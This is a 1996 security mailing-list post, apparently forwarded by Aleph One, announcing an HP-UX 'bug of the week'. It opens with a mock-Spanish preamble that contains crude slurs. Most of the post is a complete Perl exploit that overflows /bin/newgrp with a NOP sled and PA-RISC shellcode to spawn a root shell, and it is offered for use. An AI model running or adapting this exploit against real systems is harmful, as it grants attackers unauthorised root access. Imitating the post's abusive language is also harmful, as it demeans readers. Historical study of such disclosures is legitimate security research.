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HP Bug of the Week!
From: aleph1 () dfw net (Aleph One)
Date: Sun, 1 Dec 1996 01:09:50 -0600
From our friends at SOD:
This week: How do you pronounce 'newgrp' without sounding offensive? Hola! Buenos noches, y tampardo la HP Bug of the Week. Miamo compadres un SOD graciato placendo. Mala niendo nay da la comoaristes y paranoches, y cholo de la bitchen' senoritas. mama -- mucha amor! Atiende por de bugeridoo in HP computasoras, and may they burn in Hell. /bin/newgrp es loco inde cabasa, du asa root -- du madre es la puta. So as always, start clicking your way to root access with scripts from those folks-who-can't-speak-Spanish-for-shit at SOD. #!/usr/bin/perl use FileHandle; sub h2cs { local($stuff)=@_; local($rv); while($stuff !~ /^$/) { $bob=$stuff; $bob =~ s/^(..).*$/$1/; $stuff =~ s/^..//; $rv.=chr(oct("0x${bob}")); } return $rv; } open(PIPE,"uname -r|"); chop($rev=<PIPE>); close(PIPE); $rev =~ s/^.*\.(.*)\..*$/$1/; if ($rev eq "10") { $offset=2074; $prealign=""; $postalign="P"; $pcoq=h2cs("7b03A00C"); } else { $offset=2074; $prealign=""; $postalign="P"; $pcoq=h2cs("7b03300C"); } $nop=h2cs("08210280"); $code=""; # Oddly enough, real uid already == 0 # Could probably make a + + link bug out of this, too.. #$code.=h2cs("34160506"); # LDI 643,r22 #$code.=h2cs("96d60534"); # SUBI 666,r22,r22 #$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 #$code.=h2cs("e420e008"); # BLE 4(sr7,r1) #$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0 $code.=h2cs("e83f1ffd"); # BL .+8,r1 $code.=h2cs("08210280"); # NOP $code.=h2cs("34020102"); # LDI 129,rp $code.=h2cs("08410402"); # SUB r1,rp,rp $code.=h2cs("60400162"); # STB r0,177(rp) $code.=h2cs("b45a0154"); # ADDI 170,rp,arg0 $code.=h2cs("0b390299"); # XOR arg0,arg0,arg0 $code.=h2cs("0b180298"); # XOR arg0,arg0,arg0 $code.=h2cs("341604be"); # LDI 607,r22 $code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 $code.=h2cs("e420e008"); # BLE 4(sr7,r1) $code.=h2cs("96d60534"); # SUB 666,r22,r22 $code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails $data="/bin/sh."; # Data stuff $codedata=$code.$data; $num=int(($offset-length($code)-length($data)-4)/4); $pre="$nop"x$num; $of=$prealign; $of.=$pre.$code.$data.$postalign.$pcoq; exec("/bin/newgrp","$of"); Aleph One / aleph1 () dfw net http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
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